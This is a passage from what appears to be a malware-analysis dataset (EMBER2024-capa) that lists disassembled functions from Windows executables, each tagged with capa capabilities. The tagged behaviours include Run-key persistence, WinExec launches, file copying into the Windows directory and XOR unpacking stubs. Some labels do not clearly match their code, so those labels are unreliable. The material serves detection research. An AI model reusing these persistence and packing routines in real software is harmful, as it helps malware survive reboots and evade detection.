joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454448
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x21c], ebx
mov edi, ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x4544ff
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x105
mov dword [ebp - 0xc], 0x105
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x112]
push eax
push edx
mov eax, dword [ebx + 4]
mov eax, dword [eax + 0x18]
push eax
call sub.advapi32.dll_RegEnumValueA
test eax, eax
je 0x4544b0
mov eax, dword [ebx + 4]
mov byte [eax + 0x24], 1
mov eax, edi
call fcn.004046a4
mov esi, dword [ebp - 8]
sub esi, 2
test esi, esi
jl 0x4544e6
inc esi
lea ebx, [ebp - 0x218]
lea eax, [ebp - 0x21c]
mov dl, byte [ebx]
call fcn.00404884
mov edx, dword [ebp - 0x21c]
mov eax, edi
call fcn.00404964
inc ebx
dec esi
jne 0x4544c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454506
lea eax, [ebp - 0x21c]
call fcn.004046a4
ret

Function at 0x4545e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404b44
mov eax, dword [ebp - 8]
call fcn.00404b44
xor eax, eax
push ebp
push 0x45465e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0040495c
push eax
mov eax, dword [ebp - 8]
call fcn.00404b54
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404b54
push eax
mov eax, dword [ebx + 4]
mov eax, dword [eax + 0x18]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x454643
mov eax, dword [ebx + 4]
mov byte [eax + 0x24], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454665
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046c8
ret

Function at 0x45466c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404b44
mov eax, dword [ebp - 8]
call fcn.00404b44
xor eax, eax
push ebp
push 0x4546ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0040495c
push eax
mov eax, dword [ebp - 8]
call fcn.00404b54
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404b54
push eax
mov eax, dword [ebx + 4]
mov eax, dword [eax + 0x18]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x4546cf
mov eax, dword [ebx + 4]
mov byte [eax + 0x24], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4546f1
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046c8
ret
Function at 0x454ca4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404b44
xor eax, eax
push ebp
push 0x454d1d
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, dword [0x459d14]
call fcn.00431e9c
mov eax, dword [0x459d14]
call fcn.00455fa0
cmp dword [0x459d20], 0
je 0x454cec
mov dl, 1
mov eax, dword [0x459d20]
call fcn.00453320
cmp dword [ebp - 4], 0
je 0x454d02
push 5
mov eax, dword [ebp - 4]
call fcn.00404b54
push eax
call sub.kernel32.dll_WinExec
call fcn.004045b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454d24
lea eax, [ebp - 4]
call fcn.004046a4
ret

Function at 0x4551d8
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc50
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 4], eax
lea ebx, [ebp - 0x1d0]
mov esi, 0x459d38
xor eax, eax
push ebp
push 0x45538a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x3a0]
mov ecx, 0x4553a0
mov edx, dword [esi]
call fcn.004049a8
mov edx, dword [ebp - 0x3a0]
mov eax, ebx
call fcn.00402dd8
lea eax, [ebp - 0x3a4]
mov ecx, 0x4553b4
mov edx, dword [esi]
call fcn.004049a8
mov edx, dword [ebp - 0x3a4]
lea eax, [ebp - 0x39c]
call fcn.00402dd8
mov eax, ebx
call fcn.00402b5c
call fcn.00402870
lea eax, [ebp - 0x39c]
call fcn.00402b68
call fcn.00402870
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00403188
mov eax, ebx
call fcn.004031f4
call fcn.00402870
lea eax, [ebp - 0x3a8]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404bb4
mov eax, dword [ebp - 0x3a8]
mov edx, 0x4553c8
call fcn.00408870
test eax, eax
jne 0x4552d9
push 0x4553c8
push dword [esi]
push 0x4553d8
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404a1c
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x39c]
call fcn.00404d28
call fcn.00403404
call fcn.00402870
mov eax, ebx
call fcn.00403008
call fcn.00402870
test al, al
je 0x45527d
lea eax, [ebp - 0x39c]
call fcn.00402ea0
call fcn.00402870
mov eax, ebx
call fcn.00402ea0
call fcn.00402870
push 0
lea eax, [ebp - 0x3ac]
mov ecx, 0x4553a0
mov edx, dword [esi]
call fcn.004049a8
mov eax, dword [ebp - 0x3ac]
call fcn.00404b54
push eax
lea eax, [ebp - 0x3b0]
mov ecx, 0x4553b4
mov edx, dword [esi]
call fcn.004049a8
mov eax, dword [ebp - 0x3b0]
call fcn.00404b54
push eax
call sub.kernel32.dll_CopyFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455391
lea eax, [ebp - 0x3b0]
mov edx, 5
call fcn.004046c8
lea eax, [ebp - 4]
call fcn.004046a4
ret
Function at 0x4553e4
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc50
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 4], eax
mov ebx, 0x459d38
lea esi, [ebp - 0x1d0]
xor eax, eax
push ebp
push 0x45559d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x3a0]
mov ecx, 0x4555b4
mov edx, dword [ebx]
call fcn.004049a8
mov edx, dword [ebp - 0x3a0]
mov eax, esi
call fcn.00402dd8
lea eax, [ebp - 0x3a4]
mov ecx, 0x4555c8
mov edx, dword [ebx]
call fcn.004049a8
mov edx, dword [ebp - 0x3a4]
lea eax, [ebp - 0x39c]
call fcn.00402dd8
mov eax, esi
call fcn.00402b5c
call fcn.00402870
lea eax, [ebp - 0x39c]
call fcn.00402b68
call fcn.00402870
lea edx, [ebp - 4]
mov eax, esi
call fcn.00403188
mov eax, esi
call fcn.004031f4
call fcn.00402870
lea eax, [ebp - 0x3a8]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404bb4
mov eax, dword [ebp - 0x3a8]
mov edx, 0x4555dc
call fcn.00408870
test eax, eax
jne 0x4554ec
push 0x4555dc
push dword [ebx]
push 0x4555ec
push dword [ebx]
push 0x455604
lea eax, [ebp - 4]
mov edx, 5
call fcn.00404a1c
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x39c]
call fcn.00404d28
call fcn.00403404
call fcn.00402870
mov eax, esi
call fcn.00403008
call fcn.00402870
test al, al
je 0x455489
lea eax, [ebp - 0x39c]
call fcn.00402ea0
call fcn.00402870
mov eax, esi
call fcn.00402ea0
call fcn.00402870
push 0
lea eax, [ebp - 0x3ac]
mov ecx, 0x4555b4
mov edx, dword [ebx]
call fcn.004049a8
mov eax, dword [ebp - 0x3ac]
call fcn.00404b54
push eax
lea eax, [ebp - 0x3b0]
mov ecx, 0x4555c8
mov edx, dword [ebx]
call fcn.004049a8
mov eax, dword [ebp - 0x3b0]
call fcn.00404b54
push eax
call sub.kernel32.dll_CopyFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4555a4
lea eax, [ebp - 0x3b0]
mov edx, 5
call fcn.004046c8
lea eax, [ebp - 4]
call fcn.004046a4
ret
Function at 0x455614
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe24
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1dc], ebx
mov dword [ebp - 0x1d8], ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404b44
xor eax, eax
push ebp
push 0x455756
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1d8]
mov eax, dword [0x457f24]
mov eax, dword [eax]
call fcn.00451b98
mov eax, dword [ebp - 0x1d8]
mov edx, dword [ebp - 4]
call fcn.00408870
test eax, eax
je 0x45572b
mov eax, dword [ebp - 4]
call fcn.00408cf8
test al, al
jne 0x455721
push 0
mov eax, dword [ebp - 4]
call fcn.00404b54
push eax
lea edx, [ebp - 0x1dc]
mov eax, dword [0x457f24]
mov eax, dword [eax]
call fcn.00451b98
mov eax, dword [ebp - 0x1dc]
call fcn.00404b54
push eax
call sub.kernel32.dll_CopyFileA
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.00402dd8
lea eax, [ebp - 0x1d4]
call fcn.00402b74
call fcn.00402870
lea eax, [ebp - 8]
call fcn.004046a4
mov ebx, 0x401
lea eax, [ebp - 8]
mov edx, 0x45576c
call fcn.00404964
dec ebx
jne 0x4556df
mov ebx, edi
test ebx, ebx
jl 0x455711
inc ebx
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d4]
call fcn.00404d28
call fcn.00403404
call fcn.00402870
dec ebx
jne 0x4556f6
lea eax, [ebp - 0x1d4]
call fcn.00402ea0
call fcn.00402870
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.00454ae8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45575d
lea eax, [ebp - 0x1dc]
mov edx, 2
call fcn.004046c8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046c8
ret

Function at 0x455910
Capabilities:
Persist via run registry key

Disassembly:
add esp, 0xfffffff8
mov byte [esp], 1
mov byte [esp + 1], 1
mov byte [esp + 2], 0
mov byte [esp + 3], 0
mov byte [esp + 4], 1
mov byte [esp + 5], 0
call fcn.00455770
push 0x455a40
mov ecx, 0x80000002
mov dl, 1
mov eax, dword [0x454064]
call fcn.0045427c
mov dword [0x459d28], eax
mov eax, dword [0x459d28]
mov dword [eax + 0x30], fcn.00454e20
mov edx, esp
mov eax, dword [0x459d28]
call fcn.004541e4
push 0x459d28
call fcn.00454e20
push 0x455a40
mov ecx, 0x80000001
mov dl, 1
mov eax, dword [0x454064]
call fcn.0045427c
mov dword [0x459d2c], eax
mov eax, dword [0x459d2c]
mov dword [eax + 0x30], fcn.004550d8
mov edx, esp
mov eax, dword [0x459d2c]
call fcn.004541e4
push 0x459d2c
call fcn.004550d8
push 0x455a78
mov ecx, 0x80000002
mov dl, 1
mov eax, dword [0x454064]
call fcn.0045427c
mov dword [0x459d30], eax
mov eax, dword [0x459d30]
mov dword [eax + 0x30], fcn.00454fd4
mov edx, esp
mov eax, dword [0x459d30]
call fcn.004541e4
push 0x459d30
call fcn.00454fd4
call fcn.004551d8
call fcn.004553e4
push 0x455ab8
mov ecx, 0x80000000
mov dl, 1
mov eax, dword [0x454064]
call fcn.0045427c
mov dword [0x459d34], eax
mov eax, dword [0x459d34]
mov dword [eax + 0x30], fcn.00454f44
mov edx, esp
mov eax, dword [0x459d34]
call fcn.004541e4
push 0x459d34
call fcn.00454f44
pop ecx
pop edx
ret
Function at 0x455ad4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
xor eax, eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x455c32
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x110]
xor eax, eax
call fcn.00402a4c
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 4]
call fcn.00408d88
push 0x104
lea eax, [ebp - 0x109]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov ebx, eax
push 0x459d38
lea eax, [ebp - 0x114]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.0040490c
mov eax, dword [ebp - 0x114]
mov ecx, ebx
mov edx, 1
call fcn.00404bb4
lea eax, [ebp - 0x118]
mov ecx, 0x455c48
mov edx, dword [0x459d38]
call fcn.004049a8
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 4]
call fcn.00408870
test eax, eax
je 0x455c0c
lea eax, [ebp - 0x11c]
mov ecx, 0x455c5c
mov edx, dword [0x459d38]
call fcn.004049a8
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp - 4]
call fcn.00408870
test eax, eax
je 0x455c0c
lea eax, [ebp - 0x120]
mov ecx, 0x455c68
mov edx, dword [0x459d38]
call fcn.004049a8
mov eax, dword [ebp - 0x120]
mov ecx, 0xffffd120
mov edx, 0xa
call fcn.00455614
lea eax, [ebp - 0x124]
mov ecx, 0x455c68
mov edx, dword [0x459d38]
call fcn.004049a8
mov eax, dword [ebp - 0x124]
call fcn.00454ca4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455c39
lea eax, [ebp - 0x124]
mov edx, 6
call fcn.004046c8
lea eax, [ebp - 4]
call fcn.004046a4
ret

Function at 0x455ebc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x455f39
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x459d24], 0
jne 0x455eea
lea eax, [ebp - 4]
mov edx, 0x455f50
call fcn.0040473c
jmp 0x455ef2
lea eax, [ebp - 4]
call fcn.004046a4
push 5
lea edx, [ebp - 8]
mov eax, dword [0x457f24]
mov eax, dword [eax]
call fcn.00451b98
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404964
mov eax, dword [ebp - 8]
call fcn.00404b54
push eax
call sub.kernel32.dll_WinExec
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455f40
lea eax, [ebp - 8]
mov edx, 2
call fcn.004046c8
ret
Function at 0x41f993
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41f9d2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41f9d2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41f9d2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41f9d2
cmp dword [ecx + 0x74], 0xe
jbe 0x41f9d2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x432150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43217d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43217d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..00cfg
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x719e426a
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x453a7ceb
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x401a80
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x406480
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, dword [0x409214]
mov dword [eax], ecx
mov ebx, edx
test ebx, ebx
jle 0x4064a1
mov eax, 0xff
call fcn.00401a80
xor byte [esi], al
inc esi
dec ebx
jne 0x406491
pop esi
pop ebx
ret
Function at 0x434ff0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
cmp byte [eax], 0
je 0x435017
jmp 0x435000
mov cl, byte [eax]
movzx edx, cl
mov dl, byte [edx + 0x53ff38]
xor dl, cl
mov byte [eax], dl
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x435000
ret
Function at 0x43b750
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov ecx, dword [edx + 0x38]
mov eax, dword [ecx]
cmp eax, 0x13
mov dword [esp + 4], edx
jne 0x43b767
jmp fcn.0043b260
cmp eax, 0x12
jne 0x43b77a
test byte [ecx + 0x94], 0xc
jne 0x43b762
jmp fcn.0043b600
jmp fcn.0043b100
Function at 0x44dab0
Capabilities:
Hash data with crc32

Disassembly:
mov edx, dword [esp + 8]
mov eax, ecx
mov ecx, dword [esp + 0xc]
push ebx
mov dword [eax + 4], ecx
xor ecx, ecx
mov dword [eax + 0xc], edx
mov edx, dword [esp + 8]
push esi
mov dword [eax], 0x540a34
mov dword [eax + 8], ecx
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
xor ebx, ebx
lea esi, [eax + 0x43c]
mov edx, ebx
shr edx, 1
test bl, 1
je 0x44daf1
xor edx, 0xedb88320
test dl, 1
je 0x44db00
shr edx, 1
xor edx, 0xedb88320
jmp 0x44db02
shr edx, 1
test dl, 1
je 0x44db11
shr edx, 1
xor edx, 0xedb88320
jmp 0x44db13
shr edx, 1
test dl, 1
je 0x44db22
shr edx, 1
xor edx, 0xedb88320
jmp 0x44db24
shr edx, 1
test dl, 1
je 0x44db33
shr edx, 1
xor edx, 0xedb88320
jmp 0x44db35
shr edx, 1
test dl, 1
je 0x44db44
shr edx, 1
xor edx, 0xedb88320
jmp 0x44db46
shr edx, 1
test dl, 1
je 0x44db55
shr edx, 1
xor edx, 0xedb88320
jmp 0x44db57
shr edx, 1
test dl, 1
je 0x44db66
shr edx, 1
xor edx, 0xedb88320
jmp 0x44db68
shr edx, 1
mov dword [esi], edx
inc ebx
add esi, 4
cmp ebx, 0x100
jb 0x44dae2
pop esi
mov byte [eax + 0x93b], cl
pop ebx
ret 0xc

Function at 0x44dbe0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov edx, dword [ecx + 0x10]
test edx, edx
push ebx
push ebp
push esi
push edi
je 0x44dcd1
mov edi, dword [ecx + 8]
mov ebp, dword [ecx + 0xc]
lea esi, [edi + 4]
cmp esi, ebp
jae 0x44dcd1
xor eax, eax
mov dword [ecx + 8], esi
mov ah, byte [edi + edx]
movzx ebx, byte [edi + edx + 2]
mov al, byte [edi + edx + 1]
movzx edi, byte [edi + edx + 3]
shl eax, 8
or eax, ebx
shl eax, 8
or edi, eax
lea eax, [esi + 4]
cmp eax, ebp
jae 0x44dcd1
xor ebx, ebx
mov dword [ecx + 8], eax
mov bh, byte [esi + edx]
movzx eax, byte [esi + edx + 2]
mov bl, byte [esi + edx + 1]
movzx edx, byte [esi + edx + 3]
shl ebx, 8
or ebx, eax
mov eax, dword [esp + 0x18]
shl ebx, 8
or ebx, edx
mov dword [eax], ebx
mov eax, dword [ecx + 8]
mov esi, dword [ecx + 0xc]
lea edx, [eax + edi + 4]
cmp edx, esi
mov dword [esp + 0x10], ebx
jae 0x44dcd1
mov esi, 0xfffffffc
or edx, 0xffffffff
cmp edi, esi
jle 0x44dc96
mov ebx, dword [ecx + 0x10]
lea ebp, [eax + ebx]
xor ebx, ebx
mov bl, byte [esi + ebp]
xor ebx, edx
and ebx, 0xff
shr edx, 8
xor edx, dword [ecx + ebx*4 + 0x43c]
inc esi
cmp esi, edi
jl 0x44dc76
mov ebx, dword [esp + 0x10]
mov ebp, dword [ecx + 0x10]
lea esi, [eax + edi]
movzx ecx, byte [esi + ebp + 2]
xor eax, eax
mov ah, byte [esi + ebp]
add esi, ebp
not edx
mov al, byte [esi + 1]
shl eax, 8
or eax, ecx
movzx ecx, byte [esi + 3]
shl eax, 8
or eax, ecx
cmp edx, eax
jne 0x44dcd1
cmp ebx, 0x49454e44
je 0x44dcd1
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret 4
Function at 0x44fcd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x50
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0x6c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x7c]
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], esi
mov eax, esi
imul eax, ecx
lea eax, [eax + eax*2]
cmp eax, 0x800000
jae 0x44fd16
cmp ecx, 0xb40
jg 0x44fd16
cmp esi, 0xb40
jle 0x44fd2a
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov ecx, eax
mov eax, esi
cdq
sub eax, edx
sar eax, 1
mov esi, eax
jmp 0x44fcf7
cmp ecx, 1
mov dword [esp + 0x1c], esi
mov dword [esp + 0x14], ecx
jl 0x44fe40
cmp esi, 1
jl 0x44fe40
mov esi, dword [esp + 0x64]
mov ecx, esi
mov dword [esi + 0x124], 1
call fcn.00495100
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov eax, dword [esi]
xor ebp, ebp
push ebp
push 7
push ebp
push 6
push ecx
push edx
mov ecx, esi
call dword [eax + 0x3c]
push eax
lea ecx, [esp + 0x3c]
call fcn.004caf40
cmp dword [esp + 0x3c], ebp
je 0x44fe37
lea ecx, [esp + 0x20]
call fcn.004ca8e0
test eax, eax
je 0x44fe37
lea ecx, [esp + 0x20]
lea edi, [esi + 0x24]
push ecx
mov ecx, edi
call fcn.004656c0
mov eax, dword [esp + 0x70]
mov ebx, dword [esp + 0x68]
mov ecx, dword [ebx + 0x54]
push 2
lea edx, [esp + 0x14]
push edx
push eax
push ecx
mov ecx, edi
call fcn.00465fb0
mov dword [esi + 0x110], ebp
mov dword [esi + 0x114], ebp
mov edx, dword [ebx + 0x54]
mov ecx, edi
mov dword [esi + 0x128], edx
call fcn.00465790
mov eax, dword [esi + 0x424]
push eax
mov ecx, edi
mov dword [esi + 0x128], ebp
call fcn.004656c0
mov edx, dword [esp + 0x74]
mov eax, dword [esp + 0x78]
sub esp, 0x10
mov ecx, esp
mov dword [ecx], edx
mov edx, dword [esp + 0x8c]
mov dword [ecx + 4], eax
mov eax, dword [esp + 0x90]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
lea ecx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x80]
call fcn.004d8490
lea ecx, [esp + 0x20]
call fcn.004ca900
mov dword [esi + 0x124], ebp
lea ecx, [esp + 0x20]
call fcn.004caf90
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x50
ret
Function at 0x4588b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x10]
mov eax, dword [ebx + 0x38]
push esi
mov esi, dword [eax + 0x90]
test esi, esi
je 0x4589a2
mov edx, dword [ebx + 0xc]
push ebp
push edi
mov edi, dword [esp + 0x20]
mov ecx, edi
shl ecx, 8
mov dword [esp + 0x10], ecx
mov ecx, dword [edx + 0xec]
shl ecx, 8
lea edx, [esp + 0x10]
mov dword [esp + 0x14], ecx
push edx
mov ecx, edx
push ecx
add eax, 0x20
push eax
call fcn.004376e0
mov edx, dword [ebx + 0x38]
mov ebp, dword [edx + 0x20]
mov eax, dword [esp + 0x30]
add esp, 0xc
sar ebp, 8
sub eax, edi
je 0x4589a0
mov ecx, dword [esp + 0x28]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x1c], eax
mov edi, edi
mov edx, dword [ebx + 0x38]
movzx edx, byte [edx + 0x94]
mov eax, edi
sar eax, 0xf
and edx, 0xc
add eax, 0x80
cmp edx, 4
je 0x458957
cmp edx, 8
je 0x458961
cmp eax, 0x100
jle 0x45894f
mov eax, pe_nt_image_headers32
jmp 0x458966
test eax, eax
jge 0x458966
xor eax, eax
jmp 0x458966
test ah, 1
je 0x458961
xor eax, 0xff
and eax, 0xff
movzx dx, byte [esi + eax*4 + 3]
mov word [ecx + 6], dx
movzx dx, byte [esi + eax*4 + 2]
mov word [ecx + 4], dx
movzx dx, byte [esi + eax*4 + 1]
mov word [ecx + 2], dx
movzx ax, byte [esi + eax*4]
mov word [ecx], ax
mov eax, dword [esp + 0x1c]
add edi, ebp
add ecx, 8
dec eax
mov dword [esp + 0x10], edi
mov dword [esp + 0x1c], eax
jne 0x458920
pop edi
pop ebp
pop esi
pop ebx
add esp, 8
ret
Function at 0x45e870
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, ecx
mov dword [eax], ecx
shr ecx, 2
and ebx, 3
test ecx, ecx
push esi
jbe 0x45e8b2
push edi
mov edi, ecx
movzx ecx, word [edx]
mov esi, dword [eax]
add esi, ecx
mov ecx, esi
mov dword [eax], esi
shl ecx, 0x10
xor ecx, esi
add edx, 2
mov dword [eax], ecx
movzx esi, word [edx]
shl esi, 0xb
xor esi, ecx
mov dword [eax], esi
mov ecx, esi
shr esi, 0xb
add esi, ecx
add edx, 2
dec edi
mov dword [eax], esi
jne 0x45e883
pop edi
mov ecx, ebx
dec ecx
je 0x45e8f6
dec ecx
je 0x45e8e1
dec ecx
jne 0x45e90c
movzx ecx, word [edx]
mov esi, dword [eax]
add esi, ecx
mov ecx, esi
shl ecx, 0x10
xor ecx, esi
mov dword [eax], ecx
movzx edx, byte [edx + 2]
shl edx, 0x12
xor edx, ecx
mov ecx, edx
shr ecx, 0xb
add ecx, edx
mov dword [eax], ecx
jmp 0x45e90c
movzx edx, word [edx]
mov ecx, dword [eax]
add edx, ecx
mov ecx, edx
shl ecx, 0xb
xor ecx, edx
mov edx, ecx
shr edx, 0x11
jmp 0x45e908
movzx ecx, byte [edx]
mov edx, dword [eax]
add edx, ecx
mov ecx, edx
shl ecx, 0xa
xor ecx, edx
mov edx, ecx
shr edx, 1
add edx, ecx
mov dword [eax], edx
mov edx, dword [eax]
lea ecx, [edx*8]
xor ecx, edx
mov edx, ecx
shr edx, 5
add edx, ecx
